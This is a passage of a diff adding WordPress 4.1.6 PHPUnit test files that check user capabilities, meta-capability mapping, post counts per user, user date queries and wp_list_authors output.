+		$this->assertEquals( $status === 'publish', $contributor->has_cap( 'read_post', $post ) );
+	}
+
+	/**
+	 * @ticket 16714
+	 */
+	function test_create_posts_caps() {
+		$author = new WP_User( $this->factory->user->create( array( 'role' => 'author' ) ) );
+		$admin = new WP_User( $this->factory->user->create( array( 'role' => 'administrator' ) ) );
+		$author_2 = new WP_User( $this->factory->user->create( array( 'role' => 'author' ) ) );
+		$editor = new WP_User( $this->factory->user->create( array( 'role' => 'editor' ) ) );
+		$contributor = new WP_User( $this->factory->user->create( array( 'role' => 'contributor' ) ) );
+
+		// create_posts isn't a real cap.
+		$this->assertFalse($admin->has_cap('create_posts'));
+		$this->assertFalse($author->has_cap('create_posts'));
+		$this->assertFalse($editor->has_cap('create_posts'));
+		$this->assertFalse($author_2->has_cap('create_posts'));
+		$this->assertFalse($contributor->has_cap('create_posts'));
+
+		register_post_type( 'foobar' );
+		$cap = get_post_type_object( 'foobar' )->cap;
+
+		$this->assertEquals( 'edit_posts', $cap->create_posts );
+
+		$this->assertTrue($admin->has_cap( $cap->create_posts ));
+
+		$this->assertTrue($admin->has_cap( $cap->create_posts ));
+		$this->assertTrue($author->has_cap( $cap->create_posts ));
+		$this->assertTrue($editor->has_cap( $cap->create_posts ));
+		$this->assertTrue($author_2->has_cap( $cap->create_posts ));
+		$this->assertTrue($contributor->has_cap( $cap->create_posts ));
+
+		_unregister_post_type( 'foobar' );
+
+		// Primitive capability edit_foobars is not assigned to any users.
+		register_post_type( 'foobar', array( 'capability_type' => array( 'foobar', 'foobars' ) ) );
+		$cap = get_post_type_object( 'foobar' )->cap;
+
+		$this->assertEquals( 'edit_foobars', $cap->create_posts );
+
+		$this->assertFalse($admin->has_cap( $cap->create_posts ));
+		$this->assertFalse($author->has_cap( $cap->create_posts ));
+		$this->assertFalse($editor->has_cap( $cap->create_posts ));
+		$this->assertFalse($author_2->has_cap( $cap->create_posts ));
+		$this->assertFalse($contributor->has_cap( $cap->create_posts ));
+
+		// Add edit_foobars primitive cap to a user.
+		$admin->add_cap( 'edit_foobars', true );
+		$admin = new WP_User( $admin->ID );
+		$this->assertTrue($admin->has_cap( $cap->create_posts ));
+		$this->assertFalse($author->has_cap( $cap->create_posts ));
+		$this->assertFalse($editor->has_cap( $cap->create_posts ));
+		$this->assertFalse($author_2->has_cap( $cap->create_posts ));
+		$this->assertFalse($contributor->has_cap( $cap->create_posts ));
+
+		_unregister_post_type( 'foobar' );
+
+		$cap = get_post_type_object( 'attachment' )->cap;
+		$this->assertEquals( 'upload_files', $cap->create_posts );
+		$this->assertEquals( 'edit_posts', $cap->edit_posts );
+
+		$this->assertTrue( $author->has_cap( $cap->create_posts ) );
+		$this->assertTrue( $author->has_cap( $cap->edit_posts ) );
+		$this->assertTrue( $contributor->has_cap( $cap->edit_posts ) );
+		$this->assertFalse( $contributor->has_cap( $cap->create_posts ) );
+	}
+
+	function test_page_meta_caps() {
+		// simple tests for some common meta capabilities
+
+		// Make our author
+		$author = new WP_User( $this->factory->user->create( array( 'role' => 'author' ) ) );
+
+		// make a page
+		$page = $this->factory->post->create( array( 'post_author' => $author->ID, 'post_type' => 'page' ) );
+
+		// the author of the page
+		$this->assertTrue($author->exists(), "Problem getting user " . $author->ID);
+
+		// add some other users
+		$admin = new WP_User( $this->factory->user->create( array( 'role' => 'administrator' ) ) );
+		$author_2 = new WP_User( $this->factory->user->create( array( 'role' => 'author' ) ) );
+		$editor = new WP_User( $this->factory->user->create( array( 'role' => 'editor' ) ) );
+		$contributor = new WP_User( $this->factory->user->create( array( 'role' => 'contributor' ) ) );
+
+		// administrators, editors and the post owner can edit it
+		$this->assertTrue($admin->has_cap('edit_page', $page));
+		$this->assertTrue($editor->has_cap('edit_page', $page));
+		// other authors and contributors can't
+		$this->assertFalse($author->has_cap('edit_page', $page));
+		$this->assertFalse($author_2->has_cap('edit_page', $page));
+		$this->assertFalse($contributor->has_cap('edit_page', $page));
+
+		// administrators, editors and the post owner can delete it
+		$this->assertTrue($admin->has_cap('delete_page', $page));
+		$this->assertTrue($editor->has_cap('delete_page', $page));
+		// other authors and contributors can't
+		$this->assertFalse($author->has_cap('delete_page', $page));
+		$this->assertFalse($author_2->has_cap('delete_page', $page));
+		$this->assertFalse($contributor->has_cap('delete_page', $page));
+	}
+
+	/**
+	 * @ticket 21786
+	 */
+	function test_negative_caps() {
+		$author = new WP_User( $this->factory->user->create( array( 'role' => 'author' ) ) );
+		$author->add_cap( 'foo', false );
+		$this->assertTrue ( isset( $author->caps['foo'] ) );
+		$author->remove_cap( 'foo' );
+		$this->assertFalse ( isset( $author->caps['foo'] ) );
+	}
+
+	function test_borked_current_user_can_for_blog() {
+		if ( ! is_multisite() ) {
+			$this->markTestSkipped( 'Test only runs in multisite' );
+			return;
+		}
+
+		$orig_blog_id = get_current_blog_id();
+		$blog_id = $this->factory->blog->create();
+
+		$this->_nullify_current_user();
+
+		add_action( 'switch_blog', array( $this, '_nullify_current_user_and_keep_nullifying_user' ) );
+
+		current_user_can_for_blog( $blog_id, 'edit_posts' );
+
+		$this->assertEquals( $orig_blog_id, get_current_blog_id() );
+	}
+
+	function _nullify_current_user() {
+		// Prevents fatal errors in ::tearDown()'s and other uses of restore_current_blog()
+		$function_stack = wp_debug_backtrace_summary( null, 0, false );
+		if ( in_array( 'restore_current_blog', $function_stack ) ) {
+			return;
+		}
+		$GLOBALS['current_user'] = null;
+	}
+
+	function _nullify_current_user_and_keep_nullifying_user() {
+		add_action( 'set_current_user', array( $this, '_nullify_current_user' ) );
+	}
+
+	/**
+	 * @ticket 18932
+	 */
+	function test_set_role_same_role() {
+		$user = new WP_User( $this->factory->user->create( array( 'role' => 'administrator' ) ) );
+		$caps = $user->caps;
+		$this->assertNotEmpty( $user->caps );
+		$user->set_role( 'administrator' );
+		$this->assertNotEmpty( $user->caps );
+		$this->assertEquals( $caps, $user->caps );
+	}
+
+	function test_current_user_can_for_blog() {
+		$user = new WP_User( $this->factory->user->create( array( 'role' => 'administrator' ) ) );
+		$old_uid = get_current_user_id();
+		wp_set_current_user( $user->ID );
+
+		$this->assertTrue( current_user_can_for_blog( get_current_blog_id(), 'edit_posts' ) );
+		$this->assertFalse( current_user_can_for_blog( get_current_blog_id(), 'foo_the_bar' ) );
+		if ( ! is_multisite() ) {
+			$this->assertTrue( current_user_can_for_blog( 12345, 'edit_posts' ) );
+			return;
+		}
+
+		$this->assertFalse( current_user_can_for_blog( 12345, 'edit_posts' ) );
+
+		$blog_id = $this->factory->blog->create( array( 'user_id' => $user->ID ) );
+		$this->assertTrue( current_user_can_for_blog( $blog_id, 'edit_posts' ) );
+		$this->assertFalse( current_user_can_for_blog( $blog_id, 'foo_the_bar' ) );
+
+		wp_set_current_user( $old_uid );
+	}
+
+	function test_subscriber_cant_edit_posts() {
+		$user = new WP_User( $this->factory->user->create( array( 'role' => 'subscriber' ) ) );
+		wp_set_current_user( $user->ID );
+
+		$post = $this->factory->post->create( array( 'post_author' => 1 ) );
+
+		$this->assertFalse( current_user_can( 'edit_post', $post ) );
+		$this->assertFalse( current_user_can( 'edit_post', $post + 1 ) );
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/user/countUserPosts.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/user/countUserPosts.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/user/countUserPosts.php	(revision 33402)
@@ -0,0 +1,81 @@
+<?php
+
+/**
+ * @group user
+ * @group post
+ */
+class Tests_User_CountUserPosts extends WP_UnitTestCase {
+	static $user_id;
+	static $post_ids = array();
+
+	public static function setUpBeforeClass() {
+		$factory = new WP_UnitTest_Factory();
+
+		self::$user_id = $factory->user->create( array(
+			'role' => 'author',
+			'user_login' => 'count_user_posts_user',
+			'user_email' => 'count_user_posts_user@example.com',
+		) );
+
+		self::$post_ids = $factory->post->create_many( 4, array(
+			'post_author' => self::$user_id,
+			'post_type'   => 'post',
+		) );
+		self::$post_ids = array_merge( self::$post_ids, $factory->post->create_many( 3, array(
+			'post_author' => self::$user_id,
+			'post_type'   => 'wptests_pt',
+		) ) );
+		self::$post_ids = array_merge( self::$post_ids, $factory->post->create_many( 2, array(
+			'post_author' => 12345,
+			'post_type'   => 'wptests_pt',
+		) ) );
+		self::$post_ids = array_merge( self::$post_ids, $factory->post->create_many( 1, array(
+			'post_author' => 12345,
+			'post_type'   => 'wptests_pt',
+		) ) );
+
+		self::commit_transaction();
+	}
+
+	public static function tearDownAfterClass() {
+		if ( is_multisite() ) {
+			wpmu_delete_user( self::$user_id );
+		} else {
+			wp_delete_user( self::$user_id );
+		}
+
+		foreach ( self::$post_ids as $post_id ) {
+			wp_delete_post( $post_id, true );
+		}
+
+		self::commit_transaction();
+	}
+
+	public function setUp() {
+		parent::setUp();
+		register_post_type( 'wptests_pt' );
+	}
+
+	public function tearDown() {
+		_unregister_post_type( 'wptests_pt' );
+		parent::tearDown();
+	}
+
+	public function test_count_user_posts_post_type_should_default_to_post() {
+		$this->assertEquals( 4, count_user_posts( self::$user_id ) );
+	}
+
+	/**
+	 * @ticket 21364
+	 */
+	public function test_count_user_posts_post_type_post() {
+		$this->assertEquals( 4, count_user_posts( self::$user_id, 'post' ) );
+	}
+
+	/**
+	 * @ticket 21364
+	 */
+	public function test_count_user_posts_post_type_cpt() {
+		$this->assertEquals( 3, count_user_posts( self::$user_id, 'wptests_pt' ) );
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/user/dateQuery.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/user/dateQuery.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/user/dateQuery.php	(revision 33402)
@@ -0,0 +1,58 @@
+<?php
+
+/**
+ * @group user
+ * @group datequery
+ */
+class Tests_User_DateQuery extends WP_UnitTestCase {
+	/**
+	 * @ticket 27283
+	 */
+	public function test_user_registered() {
+		$u1 = $this->factory->user->create( array(
+			'user_registered' => '2012-02-14 05:05:05',
+		) );
+		$u2 = $this->factory->user->create( array(
+			'user_registered' => '2013-02-14 05:05:05',
+		) );
+
+		$uq = new WP_User_Query( array(
+			'date_query' => array(
+				array(
+					'year' => 2012,
+				),
+			),
+		) );
+
+		$this->assertEqualSets( array( $u1 ), wp_list_pluck( $uq->results, 'ID' ) );
+	}
+
+	/**
+	 * @ticket 27283
+	 */
+	public function test_user_registered_relation_or() {
+		$u1 = $this->factory->user->create( array(
+			'user_registered' => '2012-02-14 05:05:05',
+		) );
+		$u2 = $this->factory->user->create( array(
+			'user_registered' => '2013-02-14 05:05:05',
+		) );
+		$u3 = $this->factory->user->create( array(
+			'user_registered' => '2014-02-14 05:05:05',
+		) );
+
+		$uq = new WP_User_Query( array(
+			'date_query' => array(
+				'relation' => 'OR',
+				array(
+					'year' => 2013,
+				),
+				array(
+					'before' => '2012-03-01 00:00:00',
+				),
+			),
+		) );
+
+		$this->assertEqualSets( array( $u1, $u2 ), wp_list_pluck( $uq->results, 'ID' ) );
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/user/listAuthors.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/user/listAuthors.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/user/listAuthors.php	(revision 33402)
@@ -0,0 +1,122 @@
+<?php
+/**
+ * @group author
+ * @group user
+ */
+class Tests_User_ListAuthors extends WP_UnitTestCase {
+	var $users = array();
+	var $user_urls = array();
+		/* Defaults
+		'orderby'       => 'name',
+		'order'         => 'ASC',
+		'number'        => null,
+		'optioncount'   => false,
+		'exclude_admin' => true,
+		'show_fullname' => false,
+		'hide_empty'    => true,
+		'echo'          => true,
+		'feed'          => [empty string],
+		'feed_image'    => [empty string],
+		'feed_type'     => [empty string],
+		'style'         => 'list',
+		'html'          => true );
+		*/
+	function setUp() {
+		parent::setUp();
+		$this->users[] = $this->factory->user->create( array( 'user_login' => 'zack', 'display_name' => 'zack', 'role' => 'author', 'first_name' => 'zack', 'last_name' => 'moon' ) );
+		$this->users[] = $this->factory->user->create( array( 'user_login' => 'bob', 'display_name' => 'bob', 'role' => 'author', 'first_name' => 'bob', 'last_name' => 'reno' ) );
+		$this->users[] = $this->factory->user->create( array( 'user_login' => 'paul', 'display_name' => 'paul', 'role' => 'author', 'first_name' => 'paul', 'last_name' => 'norris' ) );
+		$count = 0;
+		foreach ( $this->users as $userid ) {
+			$count = $count + 1;
+			for ( $i = 0; $i < $count; $i++ ) {
+				$this->factory->post->create( array( 'post_type' => 'post', 'post_author' => $userid ) );
+			}
+
+			$this->user_urls[] = get_author_posts_url( $userid );
+		}
+	}
+
+	function test_wp_list_authors_default() {
+		$expected['default'] = '<li><a href="' . $this->user_urls[1] . '" title="Posts by bob">bob</a></li><li><a href="' . $this->user_urls[2] . '" title="Posts by paul">paul</a></li><li><a href="' . $this->user_urls[0] . '" title="Posts by zack">zack</a></li>';
+		$this->AssertEquals( $expected['default'], wp_list_authors( array( 'echo' => false ) ) );
+	}
+
+	function test_wp_list_authors_orderby() {
+		$expected['post_count'] = '<li><a href="' . $this->user_urls[0] . '" title="Posts by zack">zack</a></li><li><a href="' . $this->user_urls[1] . '" title="Posts by bob">bob</a></li><li><a href="' . $this->user_urls[2] . '" title="Posts by paul">paul</a></li>';
+		$this->AssertEquals( $expected['post_count'], wp_list_authors( array( 'echo' => false, 'orderby' => 'post_count' ) ) );
+	}
+
+	function test_wp_list_authors_order() {
+		$expected['id'] = '<li><a href="' . $this->user_urls[2] . '" title="Posts by paul">paul</a></li><li><a href="' . $this->user_urls[1] . '" title="Posts by bob">bob</a></li><li><a href="' . $this->user_urls[0] . '" title="Posts by zack">zack</a></li>';
+		$this->AssertEquals( $expected['id'], wp_list_authors( array( 'echo' => false, 'orderby' => 'id', 'order' => 'DESC' ) ) );
+	}
+
+	function test_wp_list_authors_optioncount() {
+		$expected['optioncount'] = '<li><a href="' . $this->user_urls[1] . '" title="Posts by bob">bob</a> (2)</li><li><a href="' . $this->user_urls[2] . '" title="Posts by paul">paul</a> (3)</li><li><a href="' . $this->user_urls[0] . '" title="Posts by zack">zack</a> (1)</li>';
+		$this->AssertEquals( $expected['optioncount'], wp_list_authors( array( 'echo' => false, 'optioncount' => 1 ) ) );
+	}
+
+	function test_wp_list_authors_exclude_admin() {
+		$this->factory->post->create( array( 'post_type' => 'post', 'post_author' => 1 ) );
+		$expected['exclude_admin'] = '<li><a href="' . get_author_posts_url( 1 ) . '" title="Posts by admin">admin</a></li><li><a href="' . $this->user_urls[1] . '" title="Posts by bob">bob</a></li><li><a href="' . $this->user_urls[2] . '" title="Posts by paul">paul</a></li><li><a href="' . $this->user_urls[0] . '" title="Posts by zack">zack</a></li>';
+		$this->AssertEquals( $expected['exclude_admin'], wp_list_authors( array( 'echo' => false, 'exclude_admin' => 0 ) ) );
+	}
+
+	function test_wp_list_authors_show_fullname() {
+		$expected['show_fullname'] = '<li><a href="' . $this->user_urls[1] . '" title="Posts by bob">bob reno</a></li><li><a href="' . $this->user_urls[2] . '" title="Posts by paul">paul norris</a></li><li><a href="' . $this->user_urls[0] . '" title="Posts by zack">zack moon</a></li>';
+		$this->AssertEquals( $expected['show_fullname'], wp_list_authors( array( 'echo' => false, 'show_fullname' => 1 ) ) );
+	}
+
+	function test_wp_list_authors_hide_empty() {
+		$fred_id = $this->factory->user->create( array( 'user_login' => 'fred', 'role' => 'author' ) );
+		$expected['hide_empty'] = '<li><a href="' . $this->user_urls[1] . '" title="Posts by bob">bob</a></li><li><a href="' . get_author_posts_url( $fred_id ) . '" title="Posts by fred">fred</a></li><li><a href="' . $this->user_urls[2] . '" title="Posts by paul">paul</a></li><li><a href="' . $this->user_urls[0] . '" title="Posts by zack">zack</a></li>';
+		$this->AssertEquals( $expected['hide_empty'], wp_list_authors( array( 'echo' => false, 'hide_empty' => 0 ) ) );
+	}
+
+	function test_wp_list_authors_echo() {
+		$expected['echo'] = '<li><a href="' . $this->user_urls[1] . '" title="Posts by bob">bob</a></li><li><a href="' . $this->user_urls[2] . '" title="Posts by paul">paul</a></li><li><a href="' . $this->user_urls[0] . '" title="Posts by zack">zack</a></li>';
+		ob_start();
+		wp_list_authors( array( 'echo' => true ) );
+		$actual = ob_get_clean();
+		$this->AssertEquals( $expected['echo'], $actual );
+	}
+
+	function test_wp_list_authors_feed() {
+		$url0 = get_author_feed_link( $this->users[0] );
+		$url1 = get_author_feed_link( $this->users[1] );
+		$url2 = get_author_feed_link( $this->users[2] );
+		$expected['feed'] = '<li><a href="' . $this->user_urls[1] . '" title="Posts by bob">bob</a> (<a href="' . $url1 . '">link to feed</a>)</li><li><a href="' . $this->user_urls[2] . '" title="Posts by paul">paul</a> (<a href="' .  $url2 . '">link to feed</a>)</li><li><a href="' . $this->user_urls[0] . '" title="Posts by zack">zack</a> (<a href="' . $url0 . '">link to feed</a>)</li>';
+		$this->AssertEquals( $expected['feed'], wp_list_authors( array( 'echo' => false, 'feed' => 'link to feed' ) ) );
+	}
+
+	function test_wp_list_authors_feed_image() {
+		$url0 = get_author_feed_link( $this->users[0] );
+		$url1 = get_author_feed_link( $this->users[1] );
+		$url2 = get_author_feed_link( $this->users[2] );
+		$expected['feed_image'] = '<li><a href="' . $this->user_urls[1] . '" title="Posts by bob">bob</a> <a href="' . $url1 . '"><img src="http://' . WP_TESTS_DOMAIN . '/path/to/a/graphic.png" style="border: none;" /></a></li><li><a href="' . $this->user_urls[2] . '" title="Posts by paul">paul</a> <a href="' .  $url2 . '"><img src="http://' . WP_TESTS_DOMAIN . '/path/to/a/graphic.png" style="border: none;" /></a></li><li><a href="' . $this->user_urls[0] . '" title="Posts by zack">zack</a> <a href="' .  $url0 . '"><img src="http://' . WP_TESTS_DOMAIN . '/path/to/a/graphic.png" style="border: none;" /></a></li>';
+		$this->AssertEquals( $expected['feed_image'], wp_list_authors( array( 'echo' => false, 'feed_image' => WP_TESTS_DOMAIN . '/path/to/a/graphic.png' ) ) );
+	}
+
+	/**
+	 * @ticket 26538
+	 */
+	function test_wp_list_authors_feed_type() {
+		$url0 = get_author_feed_link( $this->users[0], 'atom' );
+		$url1 = get_author_feed_link( $this->users[1], 'atom' );
+		$url2 = get_author_feed_link( $this->users[2], 'atom' );
+		$expected['feed_type'] = '<li><a href="' . $this->user_urls[1] . '" title="Posts by bob">bob</a> (<a href="' . $url1 . '">link to feed</a>)</li><li><a href="' . $this->user_urls[2] . '" title="Posts by paul">paul</a> (<a href="' . $url2 . '">link to feed</a>)</li><li><a href="' . $this->user_urls[0] . '" title="Posts by zack">zack</a> (<a href="' . $url0 . '">link to feed</a>)</li>';
+		$this->AssertEquals( $expected['feed_type'], wp_list_authors( array( 'echo' => false, 'feed' => 'link to feed', 'feed_type' => 'atom' ) ) );
+	}
+
+	function test_wp_list_authors_style() {
+		$expected['style'] = '<a href="' . $this->user_urls[1] . '" title="Posts by bob">bob</a>, <a href="' . $this->user_urls[2] . '" title="Posts by paul">paul</a>, <a href="' . $this->user_urls[0] . '" title="Posts by zack">zack</a>';
+		$this->AssertEquals( $expected['style'], wp_list_authors( array( 'echo' => false, 'style' => 'none' ) ) );
+	}
+
+	function test_wp_list_authors_html() {
+		$expected['html'] = 'bob, paul, zack';
+		$this->AssertEquals( $expected['html'], wp_list_authors( array( 'echo' => false, 'html' => 0 ) ) );
+	}
+
+}
Index: /tags/4.1.6/tests/phpunit/tests/user/mapMetaCap.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/user/mapMetaCap.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/user/mapMetaCap.php	(revision 33402)
@@ -0,0 +1,248 @@
+<?php
+
+/**
+ * @group user
+ * @group capabilities
+ */
+class Tests_User_MapMetaCap extends WP_UnitTestCase {
+	var $super_admins = null;
+
+	function setUp() {
+		parent::setUp();
+
+		$this->user_ids = array();
+
+		$this->user_id   = $this->factory->user->create( array( 'role' => 'administrator' ) );
+		$this->author_id = $this->factory->user->create( array( 'role' => 'administrator' ) );
+
+		if ( isset( $GLOBALS['super_admins'] ) )
+			$this->super_admins = $GLOBALS['super_admins'];
+		$user = new WP_User( $this->user_id );
+		$GLOBALS['super_admins'] = array( $user->user_login );
+
+		$this->post_type = rand_str( 20 );
+		register_post_type( $this->post_type );
+
+		$this->post_id = wp_insert_post( array(
+			'post_title' => rand_str(),
+			'post_type' => $this->post_type,
+			'post_status' => 'private',
+			'post_author' => $this->author_id,
+		) );
+	}
+
+	function tearDown() {
+		$GLOBALS['super_admins'] = $this->super_admins;
+		unset( $GLOBALS['wp_post_types'][ $this->post_type ] );
+		parent::tearDown();
+	}
+
+	function test_capability_type_post_with_no_extra_caps() {
+
+		register_post_type( $this->post_type, array(
+			'capability_type' => 'post',
+		) );
+		$post_type_object = get_post_type_object( $this->post_type );
+
+		$this->assertTrue( $post_type_object->map_meta_cap );
+
+		$this->assertEquals( array( 'edit_others_posts', 'edit_private_posts' ),
+			map_meta_cap( 'edit_post', $this->user_id, $this->post_id ) );
+		$this->assertEquals( array( 'edit_others_posts', 'edit_private_posts' ),
+			map_meta_cap( $post_type_object->cap->edit_post, $this->user_id, $this->post_id ) );
+
+		$this->assertEquals( array( 'read_private_posts' ),
+			map_meta_cap( 'read_post', $this->user_id, $this->post_id ) );
+		$this->assertEquals( array( 'read_private_posts' ),
+			map_meta_cap( $post_type_object->cap->read_post, $this->user_id, $this->post_id ) );
+
+		$this->assertEquals( array( 'delete_others_posts', 'delete_private_posts' ),
+			map_meta_cap( 'delete_post', $this->user_id, $this->post_id ) );
+		$this->assertEquals( array( 'delete_others_posts', 'delete_private_posts' ),
+			map_meta_cap( $post_type_object->cap->delete_post, $this->user_id, $this->post_id ) );
+	}
+
+	function test_custom_capability_type_with_map_meta_cap() {
+		register_post_type( $this->post_type, array(
+			'capability_type' => 'book',
+			'map_meta_cap' => true,
+		) );
+
+		$post_type_object = get_post_type_object( $this->post_type );
+
+		$this->assertEquals( array( 'edit_others_books', 'edit_private_books' ),
+			map_meta_cap( 'edit_post', $this->user_id, $this->post_id ) );
+		$this->assertEquals( array( 'edit_others_books', 'edit_private_books' ),
+			map_meta_cap( $post_type_object->cap->edit_post, $this->user_id, $this->post_id ) );
+
+		$this->assertEquals( array( 'read_private_books' ),
+			map_meta_cap( 'read_post', $this->user_id, $this->post_id ) );
+		$this->assertEquals( array( 'read_private_books' ),
+			map_meta_cap( $post_type_object->cap->read_post, $this->user_id, $this->post_id ) );
+
+		$this->assertEquals( array( 'delete_others_books', 'delete_private_books' ),
+			map_meta_cap( 'delete_post', $this->user_id, $this->post_id ) );
+		$this->assertEquals( array( 'delete_others_books', 'delete_private_books' ),
+			map_meta_cap( $post_type_object->cap->delete_post, $this->user_id, $this->post_id ) );
+	}
+
+	function test_capability_type_post_with_one_renamed_cap() {
+		register_post_type( $this->post_type, array(
+			'capability_type' => 'post',
+			'capabilities' => array( 'edit_posts' => 'edit_books' ),
+		) );
+
+		$post_type_object = get_post_type_object( $this->post_type );
+
+		$this->assertFalse( $post_type_object->map_meta_cap );
+
+		$this->assertEquals( array( 'edit_post' ),
+			map_meta_cap( 'edit_post', $this->user_id, $this->post_id ) );
+		$this->assertEquals( array( 'edit_post' ),
+			map_meta_cap( $post_type_object->cap->edit_post, $this->user_id, $this->post_id ) );
+
+		$this->assertEquals( array( 'read_post' ),
+			map_meta_cap( 'read_post', $this->user_id, $this->post_id ) );
+		$this->assertEquals( array( 'read_post' ),
+			map_meta_cap( $post_type_object->cap->read_post, $this->user_id, $this->post_id ) );
+
+		$this->assertEquals( array( 'delete_post' ),
+			map_meta_cap( 'delete_post', $this->user_id, $this->post_id ) );
+		$this->assertEquals( array( 'delete_post' ),
+			map_meta_cap( $post_type_object->cap->delete_post, $this->user_id, $this->post_id ) );
+	}
+
+	function test_capability_type_post_map_meta_cap_true_with_renamed_cap() {
+		register_post_type( $this->post_type, array(
+			'capability_type' => 'post',
+			'map_meta_cap' => true,
+			'capabilities' => array(
+				'edit_post' => 'edit_book', // maps back to itself.
+				'edit_others_posts' => 'edit_others_books',
+			),
+		) );
+
+		$post_type_object = get_post_type_object( $this->post_type );
+
+		$this->assertTrue( $post_type_object->map_meta_cap );
+
+		$this->assertEquals( array( 'edit_others_books', 'edit_private_posts' ),
+			map_meta_cap( 'edit_post', $this->user_id, $this->post_id ) );
+		$this->assertEquals( array( 'edit_others_books', 'edit_private_posts' ),
+			map_meta_cap( $post_type_object->cap->edit_post, $this->user_id, $this->post_id ) );
+
+		$this->assertEquals( array( 'read_private_posts' ),
+			map_meta_cap( 'read_post', $this->user_id, $this->post_id ) );
+		$this->assertEquals( array( 'read_private_posts' ),
+			map_meta_cap( $post_type_object->cap->read_post, $this->user_id, $this->post_id ) );
+
+		$this->assertEquals( array( 'delete_others_posts', 'delete_private_posts' ),
+			map_meta_cap( 'delete_post', $this->user_id, $this->post_id ) );
+		$this->assertEquals( array( 'delete_others_posts', 'delete_private_posts' ),
+			map_meta_cap( $post_type_object->cap->delete_post, $this->user_id, $this->post_id ) );
+	}
+
+	function test_capability_type_post_with_all_meta_caps_renamed() {
+		register_post_type( $this->post_type, array(
+			'capability_type' => 'post',
+			'capabilities' => array(
+				'edit_post' => 'edit_book',
+				'read_post' => 'read_book',
+				'delete_post' => 'delete_book',
+			),
+		) );
+
+		$post_type_object = get_post_type_object( $this->post_type );
+
+		$this->assertFalse( $post_type_object->map_meta_cap );
+
+		$this->assertEquals( array( 'edit_book' ),
+			map_meta_cap( 'edit_post', $this->user_id, $this->post_id ) );
+		$this->assertEquals( array( 'edit_book' ),
+			map_meta_cap( $post_type_object->cap->edit_post, $this->user_id, $this->post_id ) );
+
+		$this->assertEquals( array( 'read_book' ),
+			map_meta_cap( 'read_post', $this->user_id, $this->post_id ) );
+		$this->assertEquals( array( 'read_book' ),
+			map_meta_cap( $post_type_object->cap->read_post, $this->user_id, $this->post_id ) );
+
+		$this->assertEquals( array( 'delete_book' ),
+			map_meta_cap( 'delete_post', $this->user_id, $this->post_id ) );
+		$this->assertEquals( array( 'delete_book' ),
+			map_meta_cap( $post_type_object->cap->delete_post, $this->user_id, $this->post_id ) );
+	}
+
+	function test_capability_type_post_with_all_meta_caps_renamed_mapped() {
+		register_post_type( $this->post_type, array(
+			'capability_type' => 'post',
+			'map_meta_cap' => true,
+			'capabilities' => array(
+				'edit_post'   => 'edit_book',
+				'read_post'   => 'read_book',
+				'delete_post' => 'delete_book',
+			),
+		) );
+
+		$post_type_object = get_post_type_object( $this->post_type );
+
+		$this->assertTrue( $post_type_object->map_meta_cap );
+
+		$this->assertEquals( array( 'edit_others_posts', 'edit_private_posts' ),
+			map_meta_cap( 'edit_post', $this->user_id, $this->post_id ) );
+		$this->assertEquals( array( 'edit_others_posts', 'edit_private_posts' ),
+			map_meta_cap( $post_type_object->cap->edit_post, $this->user_id, $this->post_id ) );
+
+		$this->assertEquals( array( 'read_private_posts' ),
+			map_meta_cap( 'read_post', $this->user_id, $this->post_id ) );
+		$this->assertEquals( array( 'read_private_posts' ),
+			map_meta_cap( $post_type_object->cap->read_post, $this->user_id, $this->post_id ) );
+
+		$this->assertEquals( array( 'delete_others_posts', 'delete_private_posts' ),
+			map_meta_cap( 'delete_post', $this->user_id, $this->post_id ) );
+		$this->assertEquals( array( 'delete_others_posts', 'delete_private_posts' ),
+			map_meta_cap( $post_type_object->cap->delete_post, $this->user_id, $this->post_id ) );
+	}
+
+	function test_unfiltered_html_cap() {
+		if ( defined( 'DISALLOW_UNFILTERED_HTML' ) && DISALLOW_UNFILTERED_HTML )
+			$this->markTestSkipped( 'DISALLOW_UNFILTERED_HTML is defined.' );
+		if ( is_multisite() ) {
+			$this->assertEquals( array( 'do_not_allow' ), map_meta_cap( 'unfiltered_html', 0 ) );
+			$this->assertEquals( array( 'unfiltered_html' ), map_meta_cap( 'unfiltered_html', $this->user_id ) );
+		} else {
+			$this->assertEquals( array( 'unfiltered_html' ), map_meta_cap( 'unfiltered_html', $this->user_id ) );
+		}
+	}
+
+	/**
+	 * @ticket 20488
+	 */
+	function test_file_edit_caps_not_reliant_on_unfiltered_html_constant() {
+		if ( defined( 'DISALLOW_FILE_MODS' ) || defined( 'DISALLOW_FILE_EDIT' ) )
+			$this->markTestSkipped('DISALLOW_FILE_MODS or DISALLOW_FILE_EDIT is defined.');
+
+		if ( defined( 'DISALLOW_UNFILTERED_HTML' ) ) {
+			if ( ! DISALLOW_UNFILTERED_HTML )
+				$this->markTestSkipped( 'DISALLOW_UNFILTERED_HTML is defined.' );
+		} else {
+			define( 'DISALLOW_UNFILTERED_HTML', true );
+		}
+
+		$this->assertEquals( array( 'update_core' ), map_meta_cap( 'update_core', $this->user_id ) );
+		$this->assertEquals( array( 'edit_plugins' ), map_meta_cap( 'edit_plugins', $this->user_id ) );
+	}
+
+	/**
+	 * Test a post without an author.
+	 *
+	 * @ticket 27020
+	 */
+	function test_authorless_posts_capabilties() {
+		$post_id = $this->factory->post->create( array( 'post_author' => 0, 'post_type' => 'post', 'post_status' => 'publish' ) );
+		$editor = $this->factory->user->create( array( 'role' => 'editor' ) );
+
+		$this->assertEquals( array( 'edit_others_posts', 'edit_published_posts' ), map_meta_cap( 'edit_post', $editor, $post_id ) );
+		$this->assertEquals( array( 'delete_others_posts', 'delete_published_posts' ), map_meta_cap( 'delete_post', $editor, $post_id ) );
+
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/user/multisite.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/user/multisite.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/user/multisite.php	(revision 33402)
@@ -0,0 +1,263 @@
+<?php
+
+if ( is_multisite() ) :
+
+/**
+ * Tests specific to users in multisite.
+ *
+ * @group user
+ * @group ms-user
+ * @group multisite
